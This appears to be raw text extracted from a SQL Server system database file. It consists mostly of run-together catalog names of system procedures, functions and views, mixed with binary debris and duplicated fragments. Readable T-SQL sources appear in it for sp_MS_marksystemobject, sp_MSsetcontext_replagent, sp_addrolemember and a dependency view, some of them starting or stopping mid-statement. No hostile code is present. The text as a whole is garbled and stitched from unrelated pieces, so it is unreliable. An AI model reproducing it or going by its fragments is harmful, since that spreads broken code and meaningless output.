tsp_MSretrieve_mergepublication00gP LELEsp_MSissubscriber_of_wellpartitionedarticle00zP \"]dsp_MSgetgenstatus4rows00'FNMMNfn_MapColid00 X ~bxp_sqlagent_enum_jobsmsubscriptions00.qP \sp_verifypublisher00dP jsp_MSprocesspublisherlink00?uP 	Nnsp_stoppublication_snapshot00g]P SSsp_MSrepl_subscriptionagentjobcontrol00/<RFNZfn_varbintohexstr00DzP z
z
sp_MSrepl_scriptpublicationcustomprocs00
6P kN,0
,|@T	
Z$
B,T 
`bRxl N`v

:	`0E"viL#f200|X tsp_sequence_get_range_internal00dU 1;Nsyspalnames00FX ^sp_ddl_comprelation00pnP [Rsp_unbindrule00UzV $pdm_db_persisted_sku_features00;P 00^sp_setbuildresource00iFP Tsp_dropapprole00tKP =bsp_sequence_get_range00JV CVPdm_clr_tasks00@ibV ldm_os_worker_local_storage00cIFjdm_logpoolmgr_respoolsize003IP 62^sp_dbmmonitorupdate00ԓkX \BHZsp_cursorprepexec00{RIFii\fn_ftcatcomponents00B
\V ެzdm_pdw_nodes_db_index_usage_stats00-+eV dvdm_pdw_nodes_db_partition_stats00V Edpdm_pdw_nodes_os_memory_pools00U 
..T_dm_pdw_errors00RU ^_dm_pdw_dms_workers00U l\spt_provider_types00<lP dsp_table_privileges_ex00=[P 11bsp_indexes_90_rowset200_P bbpsp_provider_types_100_rowset00=P Lklk`sp_xml_schema_rowset00>yP SSXxp_execresultset00mP Y|sp_MSCleanupForPullReinitWithPubId00P _chsp_MSenumallpublications00SP hsp_MSaddoffloadparameter00P nsp_MSunregistersubscription00P}P bsp_MSget_map_position00vP |sp_vupgrade_subscription_databases00-P % &`sp_vupgrade_registry00 P 44dsp_MScreatenewreplnick00ieP CCdsp_MSrepl_copysnapshot00bP Z`sp_MSrepl_FixPALRole00~P 7n7n`sp_MSmerge_dropindex00xeP 0Psp_oledbinfo00~aP `sp_adddistributiondb00b~P Tfsp_MSpublication_access00B|P 0dsp_replcleanupccsprocs00P Xsp_ORAloadscript00P Npsp_startpublication_snapshot00!ETFJQRfn_IHgetpubid00<]P bsp_MSrepl_helparticle00P bLbLpsp_MSscript_delete_statement00 P ibsp_article_validation00/}P >dsp_requestpeerresponse00sfP Xsp_MSsetupnosyncsubwithlsnatdist_helper00P yXnsp_MSadd_distribution_agent00D-P RYZsp_MSenum_merge_s001P tSYfsp_MSget_new_xact_seqno00!P fsp_MSreset_subscription00?P Y#zsp_MSchange_subscription_dts_info00YP GZhsp_MSstartsnapshot_agent00HP 9jHysp_help_log_shipping_secondary_database00
?FNbfn_cdc_dropped_tables00t=P fsp_cdc_create_functions00_P z\sp_MSaddguidcolumn00EP bsp_MSaddmergetriggers00@P vsp_MScreatedownloadonlytriggers00a*P psp_restoremergeidentityrange00DP \sp_addmergearticle00աFN51vfn_MSpublication_uses_host_name00J
P CClsp_MScreatedummygeneration00ŮbP zsp_MSsetupbelongs_withoutviewproc000TF

nfn_MSgetrowguidvirtualtable00|LuP Zsp_MSexpandsubsnb00[{P ϭsp_MScheck_logicalrecord_metadatamatch00KFNvfn_MSgetmaxlightweightretention\sp_MSadd_subserver00xeP Psp_oledbinfo00~aP `sp_adddistributiondb00iP 00xsp_MSload_tmp_replication_status00k.P !!sp_MScreate_replication_status_table00b~P fsp_MSpublication_access00>FN~fn_replgetagentcommandlinefromjobid00B|P dsp_replcleanupccsprocs00P Xsp_ORAloadscD4	,B>bl>h
>
	H
4|4	LVX
"b|8`M0)"dJj6;00V f{fconversation_priorities00
V 8K[Kdchange_tracking_tables00V OOnspatial_index_tessellations00V /OVOVspatial_indexes00V PPdfunction_order_columns00 V nsql_expression_dependencies00V a!aNtable_types00V @IPI\system_sql_modules00 V 	zsystem_internals_allocation_units00 V |system_internals_partition_columns00 V 
nsystem_internals_partitions00V ܋Nplan_guides00V ^+^dmodule_assembly_usages00V ab`type_assembly_usages00V RRrfulltext_index_catalog_usages00V Sini`service_queue_usages00 V !E:Ebparameter_type_usages00!V CD\column_type_usages00"V ggmessage_type_xml_schema_collection_usages00#V DDparameter_xml_schema_collection_usages00$V CC~column_xml_schema_collection_usages00+V PsVasymmetric_keys00,V JJVinternal_tables00-V .Pcertificates00.V GYXcrypt_properties00/V Ɗ֊Vkey_encryptions000V ЉTsymmetric_keys001V dxml_schema_collections002V \transmission_queue003V Droutes004V fremote_service_bindings005V @Tvxml_schema_component_placements006V ڄtxml_schema_wildcard_namespaces007V v`xml_schema_wildcards008V bxml_schema_attributes009V nfxml_schema_model_groups00:V ^xml_schema_elements00;V oZxml_schema_facets00<V !Xxml_schema_types00=V bxml_schema_components00>V bxml_schema_namespaces.v
N
d^

P
		R	~pR`jR*`	0IH""Nk]2L
*+009bP *rTsp_dbcmptlevel00d P 4Pxp_logininfo00sIF'?hfn_translate_permissions00$P .rVsp_addumpdevice00V (q(qdm_hadr_internal_wsfc_ag_db_replicas00

P tsp_fulltext_thesaurus_add_term00YP _\sp_addextendedproc00JV etdm_os_memory_node_access_stats00-IV Xdm_os_wait_stats00TF1Zfn_PhysLocCracker007
P 2nsp_dbmmonitorhelpmonitoring00&nP HjJDsp_who00fCP +bZbFsp_help00P g-lfsp_help_fulltext_tables00D|FT`GeodeticGridCoverage00'V 9xdm_pdw_nodes_os_dispatcher_pools00$V p|\dm_pdw_node_status00%U TTd_pdw_database_mappings00SIF\fn_remote_catalogs00V MM^spt_parameters_user00*0P (
7
`sp_sproc_columns_10000P ) I vsp_column_privileges_rowset_rmt00FP IDeDVsp_views_rowset00P MUUlsp_table_statistics_rowset00P VVXsp_oledb_deflang007V $x:xXKEY_COLUMN_USAGE00 hP ȡȡlsp_MSupdate_mqserver_subdb00sP mFfsp_MScheck_subscription00P hsp_MSsub_cleanup_orphans00w1P afsp_helpreplfailovermode00;$P m\sp_get_distributor00JP o+Jbsp_vupgrade_publisher00nP ?dsp_MSrepl_check_server00UP D\sp_MSget_load_hint00X TuTuNxp_ORbitmap00lP Lsp_enumdsn00+P Njsp_MSenum_replication_job00£P Zsp_ORAremotequery00AP sp_MSrepl_changearticlecolumndatatype00=P ]'Tsp_articleview00?P 99\sp_droppublication00QFP AATsp_MSis_pk_col00ZP whlZsp_browsereplcmds00P k%nsp_MSpublication_validation00VP r8fsp_MSgettranconflictrow00#8P ȹjsp_MSpeersendtopologyinfo00$P d|Ylsp_MSget_subscription_guid00\P ,hsp_MSispublicationqueued002LP QZnsp_get_redirected_publisher00GUP WWsp_hadr_validate_replica_host_as_publisher00՛P ?^?^tsp_MSprocesslogshipmonitorlink00P bGysp_help_log_shipping_primary_database00P ItGysp_processlogshippingretentioncleanup00ƲFNqqtfn_cdc_net_changes_range_error00?`P kbsp_showpendingchanges00/P w!epsp_helpmergearticleconflicts00!FP gBgBxsp_MSget_logical_record_children00賴P IOQO~sp_MSget_DDL_after_regular_snapshot00jP ghsp_MSenumchanges_notbelongtopartition00ԊP 3q_qbsp_MSupdategenhistory00JP rrhsp_MSenumschemachange_8000*p0P xysp_MSneedmergemetadataretentioncleanup00%P ΅^sp_MSgetchangecount00wP Iaxsp_MSdeletemetadataactionrequest00c	P Rcvsp_MSset_logicalrecord_metadata00፯FN Tfn_MSmapdownbm00uP vsp_MSproxiedmetadatalightweight00gP onsp_MSdummyupdatelightweight00qP sp_MSget_lightweightarticle_processing_order00 X RZxp_regdeletevalue00a X ijxp_instance_regenumvalues00s|P Zsp_MSforeachtableemotequery00&P qqVsp_IHgetversion00P zsp_MSscriptpublicationcustomprocs00P Xsp_IHarticleview00AP sp_MSrepl_changearticlecolumndatatype00=P ]']'Tsp_articleview
P00
LR,Hn0	2z62.V`	j
B8
0N
.h0
l	`0	6"	l2&00YP yrsp_fulltext_recycle_crawl_log00yV ^dm_qn_subscriptions00}P ^sp_fulltext_catalog00FETFfubfn_virtualservernodes00OP 3uTsp_helpntgroup00uIFnfn_xe_file_target_read_file00EP s|sp_add_log_file_recover_suspect_db00OV +,Vdm_hadr_cluster00€X DILsp_prepare00
HX DITsp_prepexecrpc001TX MMZsp_setuserbylogin00sP ̓̓Tsp_hexadecimal00wP ΑĒ`sp_addlinkedsrvlogin00P |sp_help_spatial_geometry_histogram00
V ddm_pdw_nodes_os_virtual_address_dump00)U 
R_dm_pdw_waits00btV \pdw_index_mappings00iIFVfn_remote_views00o P jjsp_table_type_columns_10000]	P UsPsp_databases00%EV 8"8"nspt_table_type_columns_view00jmP BCpsp_check_constbytable_rowset00~PCvsp_MSscriptcustominsproc_sqlclr00gP  F{fsp_MSgetlastupdatedtime00*P hsp_MSremovedbreplication00P **sp_MSupgrade_heterogeneous_subscriber_connectinfo00FP WWsp_MSsetcontext_bypassreplicateddleventbit00[P mrsp_MSmergefixup_defaults_name00X ssfxp_repl_convert_encrypt00hrX xxrsp_replsetoriginator_internal00VP ~~dsp_MSrepl_ORAdatatypes00%P 		sp_MSgeneratenosyncsubscriptionsetupscript00TP +\sp_MSSetLogForRepl00@.OP Xvsp_MSupdate_subscriber_schedule00P {Y^sp_MSrepl_raiserror00GP Y^sp_MSenum_qreader_s00{P /Zlsp_MSupdate_tracer_history00TQP 9tsp_replmonitorhelpsubscription00VP uvsp_refresh_log_shipping_monitor00*FN@@fn_MSarticle_allows_DML_at_this_replica00҉(P [Pjsp_MSrepl_getpkfkrelation00GP \\sp_generatefilters00".P ++jsp_adddynamicsnapshot_job00nDP @sp_MScheck_functions_directly_in_view00^P #IKIjsp_MSgetmergeadminapplock004P Womolsp_MSgetmetadatabatch90new00yڱP psp_MSinsertbeforeimageclause00NZP ^sp_MSmakeinsertproc00P ܯjsp_MSgetdatametadatabatch00,P UU~sp_MSmap_generation_to_partitionids00 X  'Nsp_OACreate00n X _lxp_instance_regdeletevalue00P |,Tsp_MStablerefs00P S=hsp_MSGetServerPropertiestionagentstatussummary00VP ~~dsp_MSrepl_ORAdatatypes00,WP 99Xsp_IHget_colinfo00%P 		sp_MSgeneratenosyncsubscriptionsetupscript00oFN0+0+^fn_ftableivprocexec00TP ++\sp_MSSetLogForRepl00ZP =4\sp_addsubscription00U{gP dZsp_scriptvupdproc00P eZsp_scriptxupdproc00SP `sp_ORAhelpXactSetJob00TP <nbsp_getsqlqueueversion00NFN\fn_replvarbintoint00@.OP Xvsp_MSupdate_subscriber_schedule00P {Y^sp_MSrepl_raiserror00&P jsp_MSadd_snapshot_history00GP Y^sp_MSenum_qreader_s00N[cP ^sp_MSget_repl_error003P ~sp_MSenable_publication_for_het_sub003fP dsp_MSagent_stethoscope00}P ..fsp_MSadd_tracer_history00{P /Zlsp_MSupdate_tracer_history00TQP 9SZtsp_replmonitorhelpsubscription00VP uIyvsp_refresh_log_shipping_monitor
8n$2.@	d2D`@
h.Z$	0~4~$n
.

RB`J0K<"8Pmr2Lh2E00#stV 4Rddm_db_file_space_usage00opV ))dm_hadr_internal_availability_group_states00P ~1bsp_invalidate_textptr00V mBmBfconversation_endpoints$00[	V ,ndm_os_memory_cache_counters00[:P 1Xsp_user_counter200VP vsp_flush_commit_table_on_demand00&bFN`fn_quotefourpartname00V +.+pavailability_group_listeners00ܺX ABITsp_cursorclose00EX DINsp_prepexec002X DJpsp_describe_first_result_set00V 2dRdhdm_broker_queue_monitors00{V ddjdm_broker_activated_tasks00c/X KKsp_kill_filestream_non_transacted_handles_internal00@P ЊTxp_revokelogin00_P 

Rsp_statistics00CP 89lsp_primary_keys_rowset_rmt00B)P HHbsp_statistics_rowset200SV yyZCHECK_CONSTRAINTS00`vP W-hsp_MSAdjustConflictTable00׽P ^sp_MSscript_endtrig00
fP I	fsp_cleanupdbreplication00P ~.~.sp_vupgrade_updatingpublicationarticle00#P ~?fsp_MSreset_synctran_bit00,q@P Sfsp_MSrepl_addscriptexec001o|P 7Ysp_MSrepl_GrantSelectOnMergeSystemTables00ԭP [[Xsp_createpalrole00>FNȂȂ`fn_MSrepl_sourcetype00 TFjjhfn_replparsewindowslogin00P jsp_addsubscriber_schedule00EP ߝߝsp_MSadd_distributor_alerts_and_responses00gP KKdsp_MSrepl_incrementlsn00FNVV^fn_MSrepl_editionid00*P 
vsp_scriptpublicationcustomprocs00ULP //lsp_getOraclepackageversion00P :`sp_MSdroptranpalrole00&P JJXsp_IHscripttable00
r?P .Vsp_schemafilter00KP "v^sp_ORAvalidatecache00FN~~fn_replgetNumOfErrorsMergesubscriptionsOnPublication00CP zsp_replscriptuniquekeywhereclause00o P jsp_MSpeertopeerfwdingexec00P ,rpsp_MSadd_subscriber_schedule00~P 	sp_MSenum_merge_subscriptions_90_publisher00P 4iXlsp_MSget_max_used_identity00P A?$sp_replmonitorhelppublicationthresholds00qWP zLZzsp_MSforce_drop_distribution_jobs00oP NVNVlsp_hadr_drop_linked_server00LP Jnzsp_MSproxylogshippingmonitorerror00RP   lsp_cdc_disable_db_internal00
P jsp_MSprepare_mergearticle00%2P Psp_MSmaptype00_P nsp_validatemergepublication00P #$jsp_deletemergeconflictrow00-!P fahsp_MSenumdeletesmetadata00P Ϫfsp_MSmakedynsnapshotvws00J X KXxp_passAgentInfo00P bsp_MSSQLOLE65_version00JP 7^sp_MSSQLOLE_versionʜfsp_MScreate_dist_tables00EP ߝߝsp_MSadd_distributor_alerts_and_responses00IP o/`sp_dropdistpublisher00iJP J/fsp_drop_agent_parameter00lfP 4fsp_help_agent_parameter00gP KKdsp_MSrepl_incrementlsn00puP rsp_MSrepl_enumtablecolumninfo00CP sp_MSmergepushsubscriptionagentjobcontrol00FNVV^fn_MSrepl_editionid00*P 

vsp_scriptpublicationcustomprocs00ULP //lsp_getOraclepackageversion00P ::`sp_MSdroptranpalrole00,mP B\B\Zsp_scriptsinsproc00oP jsp_MSrepl_posttracertoken00&P JJXsp_IHscripttable
484
Z^8	
8	T<J
B"
jl
:8xr.6$L
	Pv.
`0O9"n92 (n00FN--;-~fn_hadr_backup_is_preferred_replica00*]P ~1Nsp_helpfile00#P ʦPsp_validlang00vV ldm_db_missing_index_groups00ՇX Nxp_userlock00V Z,u,fdm_hadr_cluster_members00%HP rRsp_dropdevice00>P nsp_check_removable_sysusers00'P ߳uRsp_helprotect00ÍV L'W'dm_hadr_availability_replica_cluster_states00JP &&jsp_SetInternalTableAccess00\V ;;`dm_exec_cached_plans00{V ==ldm_db_uncontained_entities002[~X @BIJsp_cursor00X eDcIVsp_createorphan00$!X DIXsp_resyncprepare00P ?؊`sp_checknojobsinmsdb00ZgP vsp_help_spatial_geography_index00\P ~sp_help_spatial_geography_index_xml00;V ytdm_pdw_nodes_tran_commit_table00AV ww\DOMAIN_CONSTRAINTS00uFNnfn_pubservernamefromsyncmgr00fFN=dfn_repladjustcolumnmap00IP (lsp_MScreate_mergesystables00&P Rfsp_removesrvreplication00P 5efsp_restoredbreplication00P psp_MSrepl_adddatatypemapping00ӈP dsp_MSrepl_DB2datatypes00B3P sp_MSrepl_ORA_MSSQL_datatypemappings00SP bsp_ORAcompiletriggers00_U7P fsp_MSget_latest_peerlsn00~	KP 
eVsp_MSarticlecol00!P Zsp_addpublication00zP |^sp_IHaddpublication005CP Zxsp_script_reconciliation_insproc00%5P fnsp_IHpublication_validation00!P sp_MSscriptpeerconflictdetection_tableaug00X ..`xp_displayqueuemesgs00tP !hsp_MSreinit_subscription00P zsp_cdc_parse_included_column_list00_XP Tsp_cdc_add_job00hP &&sp_MSexpire_dynamic_snapshots_affected_by_cleanup00oCP sp_MSmerge_validate_publication_presence00P c5hsp_helpmergesubscription00İP 7hsp_dropmergesubscription001P %%bsp_addtabletocontents00ooP A0vsp_MScreatemergedynamicsnapshot00l	P F7rsp_MSregenerate_mergetriggers00%eFNPSPStfn_GetArticleSchemaVersionGuid00!P lmlsp_MSinitdynamicsubscriber00jfP ~rnsp_MSmakeconflictinsertproc00P 'xsp_MScreatelightweightmetatables00G X @GPsp_OADestroy004 X ^`xp_instance_regwrite00PD X r^xp_sysmail_activate005P Ndsp_prop_oledb_provider00RP jXsp_MShelpcolumnspsp_MSrepl_adddatatypemapping00ӈP dsp_MSrepl_DB2datatypes00B3P sp_MSrepl_ORA_MSSQL_datatypemappings00SP bsp_ORAcompiletriggers00_U7P fsp_MSget_latest_peerlsn00~	KP 

Vsp_MSarticlecol00=!P GGdsp_MStran_altertrigger00!P Zsp_addpublication00zP ^sp_IHaddpublication00P hsp_MSrepl_helparticlermo00*WP Rjsp_MSscript_sync_upd_proc005CP Zxsp_script_reconciliation_insproc00&P pp^sp_MSreinit_article003AP {{\sp_MStran_autoproc00%5P nsp_IHpublication_validation005P ^sp_ORAdroppublisher00!P sp_MSscriptpeerconflictdetection_tableaug00X ..`xp_displayqueuemesgs00P psp_MSdrop_merge_subscription00tP !Yhsp_MSreinit_subscription<\@<
:Rd
6xR2r|`	zb2Nl	,

t
2
j`0'"vxo+00PnP 1Xsp_user_counter400
V Ndm_os_nodes005IFvdm_db_database_page_allocations00]GV ddm_tcp_listener_states002`V //Tserver_audits$00aU 01^trace_xe_action_map00pTFZfn_my_permissions00V ldm_os_memory_cache_entries00V ldm_os_virtual_address_dump00\X fsp_fulltext_keymappings004P \P]bsp_helplinkedsrvlogin00cQP 1aYbTsp_helptrigger00X pqdsp_trace_generateevent00MP +HTsp_dropmessage00[5aV mrdm_pdw_nodes_os_waiting_tasks00(.U 
b_dm_pdw_exec_sessions005V Kczpdw_table_distribution_properties00]P Zsp_columns_ex_10000Q)P 1UTsp_server_info00PRP A^Psp_tables_ex006^V ::`spt_table_types_view00?P N<u<bsp_table_types_rowset00,MP IGJbsp_tables_info_rowset00P [\bsp_assemblies_rowset200VV "v.v^COLUMN_DOMAIN_USAGE00|P g|sp_syspolicy_unsubscribe_from_policy_category00NFNYYtfn_updateparameterwithargument00Q;P C{zsp_change_subscription_properties002P #fsp_helppullsubscription00ڤwP Uhsp_MSdroparticletriggers00P @z`sp_MSenum_replqueues00+P IIbsp_MSrestore_sub_tran00!P +\zbsp_createmergepalrole00@P hh~sp_MSchangepublicationlinkpasswords00^P sjH{tsp_startpullsubscription_agent00r$SP #.psp_changesubscriber_schedule00P prsp_changedistributor_property00_P Y0bsp_help_agent_profile00Y)P nsp_grant_publication_access00#P Hlsp_MSrepl_startup_internal00,^P 
Y~sp_MSsetupnosyncsubscriptionwithlsn00kP 44jsp_MSrepl_addsubscription00CMP ԏԏhsp_IHscriptpkwhereclause00M/P bsp_ORASetXactBatching00=aFP ˫nvsp_getqueuedarticlesynctraninfo00aP psp_MSaddsubscriptionarticles00FNMMhfn_peerconflicttablename00?ZP |sp_configure_peerconflictdetection00PX //\xp_readpkfromqueue00,P Xlsp_MSadd_repl_commands27hp00EP A/Zsp_MSupdate_subscriber_tracer_history009P E5`sp_helpqreader_agent00|
P 4w4wsp_MSproxylogshippingmonitorhelpsecondary00rP nsp_cdc_add_captured_columns00P kkbsp_cdc_create_objects00ZP 99sp_cdc_cleanup_change_table_internal00/m[P tZsp_cdc_change_job00NFNi\fn_cdc_get_max_lsn00taP zsp_MSreleasemakegenerationapplock00_P x|sp_MScheck_publisher_range_refresh00[aP %^sp_dropmergearticle00[hP Lf`sp_changemergefilter00贲P psp_validatemergesubscription00?/P F `|sp_MShelpmergeconflictpublications00pɣP **vsp_MSgetpartitionsnapshotfolder00XgP N,yxsp_MSdropmergedynamicsnapshotjob00AP nF{F|sp_MSadd_dynamic_snapshot_location00LfZP Z3ZXsp_MSdeleteretry00DP s__Zsp_MSsetgentozero00FFNttXfn_MapSchemaType00kP ǃXsp_MSsetartprocs00W+P EEdsp_MSdropview_internal00_P h`sp_MSdelsubrowsbatch00yP (>tsp_MSget_logicalrecord_lineage00P nnfsp_MSupsertschemachange00.P nsp_MSenumdeleteslightweightD
*"l@pbDhl	p
XJ	vZ
4Jj	,2|:
H$
Tz0`<
ypB/0 8
---------------------------- sp_MS_marksystemobject -----------------------------
-- FOR INTERNAL USE ONLY ... DO NOT DOCUMENT --
-- This procedure sets a bit in sysobjects.  This bit has no meaning, various
--	groups (starfigther, davinci, replication) use it for different things
-- MSQL makes no warranty, express or implied, on what objects will or will
--	not have this bit set.  Use at your own risk.
--   
create procedure sys.sp_MS_marksystemobject
	@objname    nvarchar(517),  -- 517 is max for two part name
	@namespace	varchar(10) = NULL		-- database, server or null
as

    set nocount on
	declare @objid	int
	declare @owner	sysname,
			@ns		int,			-- namespace enumeration value
			@object	sysname

	-- ============================================================
	-- DEVNOTE:
	--	x_eonc_TrgOnServer		= 20,	// Namespace for Triggers on the Server
	--	x_eonc_TrgOnDatabase	= 21,	// Namespace for Triggers on Databases
	--  x_eonc_Standard			= 0		// Standard Namespace
	-- ============================================================
	
	if not (@namespace is NULL)
	begin
	select @ns = (case lower(@namespace)
				when 'server' then 20
				when 'database' then 21
				end)
	end
	else
	begin
		set @ns = 0 -- null means standard namespace
	end

	-- bail out on invalid namespace.
	if @ns is null
		begin
		raiserror('sp_MS_marksystemobject: Invalid NameSpace ''%ls''',0,1,@namespace)
		return (1)
	end

    -- CHECK THE OBJECT NAME --
	select @object = parsename(@objname, 1),
			@owner = parsename(@objname, 2)

	-- ============================================================
	-- DEVNOTE:
	--	x_eonc_TrgOnServer		= 20,	// Namespace for Triggers on the Server
	--	x_eonc_TrgOnDatabase		= 21,	// Namespace for Triggers on Databases
	-- ============================================================
	
	if @ns = 20 or @ns = 21
	begin
		if NOT (@owner is null)
		begin
			-- schema name specified for extended trigger. Error out
			raiserror(1094,-1,-1)
			return (1)
		end
	end
	
	-- use master db for server level trigger
	if @ns = 20
	begin
		select @objid = object_id from sys.server_triggers where name = @objname
	end
	else if @ns = 21
	begin
		select @objid = object_id from sys.triggers where name = @objname and parent_class = 0
	end
	else
	begin
		select @objid = object_id(@objname, 'local')
	end
	

    -- CHECK THE OBJECT OWNER (MUST BE DBO) --
    -- DO THE UPDATE --
	BEGIN TRAN
	if not (@objid is null)
	begin
		if @ns = 0
		begin
			EXEC %%Object(MultiName = @objname).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
			if @@error <> 0
				select @objid = null
			else
			begin
				if @owner is null
					select @owner = N'dbo'

				EXEC %%Object( Owner = @owner, Name = @object ).SetSystem()

			end
		end
		else
		begin
			EXEC %%TriggerEx(MultiName = @objname).ValidateAndSetSystem(
													ID = @objid, NameSpaceClass = @ns)
		end
	end

	if @objid is null
	begin
		raiserror('sp_MS_marksystemobject: Invalid object name ''%ls''',0,1,@objname)
		COMMIT TRAN
		return (1)
	end

	COMMIT TRAN
    return (0)	-- sp_MS_marksystemobject
0@ 8create procedure sys.sp_MSsetcontext_replagent @agent_type tinyint, @is_publisher bit = 0
as
begin
declare @cur_context varbinary(128)
declare @cur_context_first_byte binary(1)
declare @bitmask tinyint

-- agent type: snapshot=1, logreader=2, distrib=3, merge=4
-- bit to set: snapshot=1, logreader=2, distrib=4, merge=8
select @bitmask =    case     
                        when @agent_type = 1 then 1 
                        when @agent_type = 2 then 2
                        when @agent_type = 3 then 4
                        when @agent_type = 4 then 8
                    end

if @is_publisher = 1
    select @bitmask = (@bitmask | 16)

select @cur_context = isnull(context_info(),0x00)

-- get the first byte out. the replication agent flags are set in the first byte.
select @cur_context_first_byte = substring(@cur_context, 1, 1)
-- set the appropriate bit in this one byte (leaving other bits unchanged).
select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) | @bitmask)
-- replace the first byte of the 128 byte binary variable, so that now it has the appropriate bit set.
select @cur_context = convert(varbinary(128),stuff (@cur_context, 1, 1, @cur_context_first_byte))
-- set the context_info again with the new binary(128) value.
set context_info @cur_context

if @@error <> 0
    return 1
    
return 0
end
s = 50	-- SOC_SCHEMA
	UNION ALL 		-- Can be a union all because we only store non-schema-bound dependencies in syssoftobjrefs and we select only schema bound dependencies 
					-- from sysmultiobjrefs.
	SELECT
		dp.depid AS referencing_id,
		dp.depsubid as referencing_minor_id,
		sysconv(tinyint, CASE WHEN dp.class = 5 AND (dp.status & 8)=0 THEN 7 WHEN dp.class = 5 THEN 9 ELSE 1 END) AS referencing_class,
		i2.name AS referencing_class_desc,
		s.name as referencing_schema_name,
		o2.name as referencing_entity_name,
		sysconv(bit, 1) AS is_schema_bound_reference,
		sysconv(tinyint, CASE dp.class WHEN 1 THEN 1 WHEN 2 THEN 6 WHEN 3 THEN 10 WHEN 4 THEN 21 WHEN 5 THEN 1 END) AS referenced_class,
		i.name AS referenced_class_desc,
		NULL AS referenced_server_name,
		NULL AS referenced_database_name,
		CASE dp.class WHEN 1 THEN SCHEMA_NAME(o.nsid) WHEN 2 THEN SCHEMA_NAME(t.schid) WHEN 3 THEN SCHEMA_NAME(x.nsid) WHEN 4 THEN NULL WHEN 5 THEN SCHEMA_NAME(o.nsid) END AS referenced_schema_name,
		CASE dp.class WHEN 1 THEN o.name WHEN 2 THEN t.name WHEN 3 THEN x.name WHEN 4 THEN pf.name WHEN 5 THEN o.name END AS referenced_entity_name,
		dp.indepid AS referenced_id,
		dp.indepsubid as referenced_minor_id,
		c.name as referenced_minor_name,
		sysconv(bit, 0) AS is_caller_dependent,
		sysconv(bit, 0) AS is_ambiguous,
		sysconv(bit, dp.status & 4) AS is_selected,
		sysconv(bit, dp.status & 2) AS is_updated,
		sysconv(bit, dp.status & 1) AS is_select_all
	FROM sys.sysmultiobjrefs dp -- LEFT join with base sys tables instead of metadata views to bypass has_access check, according to security spec
		LEFT JOIN sys.sysschobjs o ON o.id = dp.indepid AND o.nsclass = 0 AND o.pclass = 1 -- x_eonc_Standard:x_eunc_Object
		LEFT JOIN sys.sysscalartypes t ON t.id = dp.indepid
		LEFT JOIN sys.sysnsobjs x ON x.id = dp.indepid AND x.class = 27	-- SOC_XSDCOLLECTION
		LEFT JOIN sys.sysclsobjs pf ON pf.id = dp.indepid AND pf.class = 30
		LEFT JOIN sys.syspalvalues i ON i.class = 'UNCL' AND i.value = CASE dp.class WHEN 1 THEN 1 WHEN 2 THEN 6 WHEN 3 THEN 10 WHEN 4 THEN 21 WHEN 5 THEN 1 END
		LEFT JOIN sys.syspalvalues i2 ON i2.class = 'UNCL' AND i2.value = CASE WHEN dp.class = 5 AND (dp.status & 8)=0 THEN 7 WHEN dp.class = 5 THEN 9 ELSE 1 END
		LEFT JOIN sys.sysschobjs o2 ON o2.id = dp.depid AND ((o2.nsclass = 0 AND o2.pclass = 1) OR o2.type IN ('TA','TR')) -- x_eonc_Standard:x_eunc_Object
		LEFT JOIN sys.sysclsobjs s ON s.id = o2.nsid AND s.class = 50	-- SOC_SCHEMA
		LEFT JOIN sys.syscolpars c ON c.number = 0 AND c.id = dp.indepid AND c.colid = dp.indepsubid
	WHERE dp.class >= 1 AND dp.class <= 5 -- MRC_EXPRTOOBJ,MRC_EXPRTOTYPE,MRC_EXPRTOXMLNS,MRC_EXPRTOPRTFUNC, MRC_EXPRFILTERTOOBJ -- Gaurentees we are only selecting schema bound dependencies
		AND o2.type <> 'IT' -- filter out internal table dependencies, such as those for filtered indexes on internal tables
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<qH%0 18CREATE VIEW sys.system_components_surface_area_configuration AS
	SELECT s.component_name, s.database_name, s.schema_name,
		s.object_name, s.state, s.type, p.name AS type_desc
	FROM sys.sac_state s
	LEFT JOIN sys.syspalnames p ON p.class = 'OBTY' AND p.value = s.type
0B@ 8-- FOR BACKWARD COMPATIBILTY ONLY --
create procedure sys.sp_addrolemember
	@rolename       sysname,
	@membername     sysname
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,    -- return value of sp call
            @memuid     int,
			@stmtR		nvarchar(4000)

    -- Was a part of check to prevent inside a user Xact. Leave for backward compat.--
	set implicit_transactions off

	exec @ret = sys.sp_validname @rolename
	if @ret <> 0
		return(1)

	exec @ret = sys.sp_validname @membername
	if @ret <> 0
		return(1)

	BEGIN TRANSACTION

		-- EXCL LOCK MEMBER --
		EXEC %%Owner(Name = @membername).Lock(Exclusive = 1) -- may fail

	    -- ATTEMPT ADDING IMPLICIT ROW FOR NT NAME --
		if @@error <> 0	-- not found
		begin
	        EXEC @ret = sys.sp_MSadduser_implicit_ntlogin @membername
			if (@ret <> 0)
		    begin
				ROLLBACK TRANSACTION
				raiserror(15410, -1, -1, @membername)
				return (1)
			end
			-- Member locked by sp_MSadduser_implicit_ntlogin
		end

		set @stmtR = 'alter role '
		set @stmtR = @stmtR + quotename(@rolename, ']')
		set @stmtR = @stmtR + ' add member '
		set @stmtR = @stmtR + quotename(@membername, ']')

	    -- issue DDL to create the role --
		exec (@stmtR)	
		if @@error <> 0
		begin
			ROLLBACK TRANSACTION
			return (1)
		end

    -- RETURN SUCCESS --
	COMMIT TRANSACTION
    return (0) -- sp_addrolemember
0 8CREATE VIEW sys.dm_exec_background_job_queue_stats AS
	SELECT *
